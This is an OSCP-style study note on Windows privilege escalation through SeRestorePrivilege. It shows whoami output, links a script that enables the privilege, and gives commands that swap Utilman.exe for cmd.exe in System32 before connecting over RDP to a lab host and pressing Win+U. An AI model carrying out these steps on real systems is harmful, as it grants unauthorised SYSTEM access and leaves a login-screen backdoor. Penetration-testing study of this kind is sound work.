// notes/ PrivEsc — Windows
🪟
Whoami Priv Serestoreprivilege
Notes from oscp.adot8.com — windows privilege escalation.
#windows privilege escalation#adot8
source · oscp.adot8.com · windows-privilege-escalation/whoami-priv_serestoreprivilege ↗SeRestorePrivilege
code
01PRIVILEGES INFORMATION02----------------------03 04Privilege Name Description State05============================= ============================== =======06SeRestorePrivilege Restore files and directories Enabled{% embed url="https://github.com/gtworek/PSBits/blob/master/Misc/EnableSeRestorePrivilege.ps1" %}
code
01.\EnableSeRestorePrivilege.ps1code
01ren C:\Windows\System32\Utilman.exe C:\Windows\System32\Utilman.pwned02ren C:\Windows\System32\cmd.exe C:\Windows\System32\utilman.execode
01rdesktop 192.168.241.165{% hint style="info" %} Hit Win + U {% endhint %}
<figure><img src="/files/djSYomyWti0jQVr6sjiq" alt=""><figcaption></figcaption></figure>